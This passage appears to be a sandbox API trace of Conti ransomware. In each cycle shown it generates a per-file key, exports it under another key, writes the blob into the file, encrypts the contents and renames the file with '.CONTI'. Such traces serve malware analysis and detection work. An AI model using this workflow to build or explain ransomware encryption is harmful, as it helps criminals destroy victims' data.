	[0112.808] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x34e, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x350) returned 1
	[0112.808] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.808] WriteFile (in: hFile=0x3e8, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x350, lpOverlapped=0x0) returned 1
	[0112.809] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.809] WriteFile (in: hFile=0x3e8, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0112.809] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.809] CloseHandle (hObject=0x3e8) returned 1
	[0112.822] GetProcessHeap () returned 0x1720000
	[0112.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.816] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml"
	[0113.816] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI"
	[0113.816] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0113.817] GetProcessHeap () returned 0x1720000
	[0113.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.817] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0113.817] GetProcessHeap () returned 0x1720000
	[0113.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c948 | out: hHeap=0x1720000) returned 1
	[0113.818] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0113.818] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b452e8 | out: phKey=0x6b452e8*=0x17c7af0) returned 1
	[0113.818] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b452ec, pdwDataLen=0x34ffaac | out: pbData=0x6b452ec*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0113.818] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.819] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0113.819] GetLastError () returned 0x0
	[0113.819] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=468) returned 1
	[0113.819] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d4
	[0113.819] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.819] SetEndOfFile (hFile=0x410) returned 1
	[0113.821] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.821] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.821] WriteFile (in: hFile=0x410, lpBuffer=0x6b452ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b452ec*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0113.827] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.827] ReadFile (in: hFile=0x410, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1d4, lpOverlapped=0x0) returned 1
	[0113.827] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1d4, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1e0) returned 1
	[0113.827] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.827] WriteFile (in: hFile=0x410, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1e0, lpOverlapped=0x0) returned 1
	[0113.827] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.827] WriteFile (in: hFile=0x410, lpBuffer=0x6b452e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b452e0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0113.827] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.827] CloseHandle (hObject=0x410) returned 1
	[0113.828] GetProcessHeap () returned 0x1720000
	[0113.828] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.828] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.828] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.828] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.828] GetProcessHeap () returned 0x1720000
	[0113.829] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.829] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.829] GetProcessHeap () returned 0x1720000
	[0113.829] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5440 | out: hHeap=0x1720000) returned 1
	[0113.829] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0113.829] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x17c78b0) returned 1
	[0113.829] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x34ffaac | out: pbData=0x6b462e4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0113.829] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.830] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0113.830] GetLastError () returned 0x0
	[0113.830] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=866) returned 1
	[0113.830] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x362
	[0113.830] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.830] SetEndOfFile (hFile=0x410) returned 1
	[0113.830] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.830] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.830] WriteFile (in: hFile=0x410, lpBuffer=0x6b462e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b462e4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0113.833] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.833] ReadFile (in: hFile=0x410, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x362, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x362, lpOverlapped=0x0) returned 1
	[0113.833] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x362, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x370) returned 1
	[0113.833] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.833] WriteFile (in: hFile=0x410, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x370, lpOverlapped=0x0) returned 1
	[0113.833] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.833] WriteFile (in: hFile=0x410, lpBuffer=0x6b462d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b462d8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0113.834] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.834] CloseHandle (hObject=0x410) returned 1
	[0113.834] GetProcessHeap () returned 0x1720000
	[0113.834] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.834] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml"
	[0113.834] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.834] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\668__connections_cellular_hp datapass (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.834] GetProcessHeap () returned 0x1720000
	[0113.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.835] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0113.835] GetProcessHeap () returned 0x1720000
	[0113.835] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9778 | out: hHeap=0x1720000) returned 1
	[0113.835] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0113.835] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b469b8 | out: phKey=0x6b469b8*=0x17c7bf0) returned 1
	[0113.835] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b469bc, pdwDataLen=0x34ffaac | out: pbData=0x6b469bc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0113.835] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.836] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0113.836] GetLastError () returned 0x0
	[0113.836] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=468) returned 1
	[0113.836] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d4
	[0113.836] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.836] SetEndOfFile (hFile=0x410) returned 1
	[0113.841] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.842] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.842] WriteFile (in: hFile=0x410, lpBuffer=0x6b469bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b469bc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0113.847] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.847] ReadFile (in: hFile=0x410, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1d4, lpOverlapped=0x0) returned 1
	[0113.847] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1d4, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1e0) returned 1
	[0113.847] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.847] WriteFile (in: hFile=0x410, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1e0, lpOverlapped=0x0) returned 1
	[0113.847] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.847] WriteFile (in: hFile=0x410, lpBuffer=0x6b469b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b469b0*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0113.847] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.847] CloseHandle (hObject=0x410) returned 1
	[0113.847] GetProcessHeap () returned 0x1720000
	[0113.847] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.847] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.848] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.848] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\669__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.848] GetProcessHeap () returned 0x1720000
	[0113.848] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.848] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.848] GetProcessHeap () returned 0x1720000
	[0113.848] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5fc8 | out: hHeap=0x1720000) returned 1
	[0113.848] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0113.848] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b47090 | out: phKey=0x6b47090*=0x17c7af0) returned 1
	[0113.849] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47094, pdwDataLen=0x34ffaac | out: pbData=0x6b47094*, pdwDataLen=0x34ffaac*=0x20c) returned 1
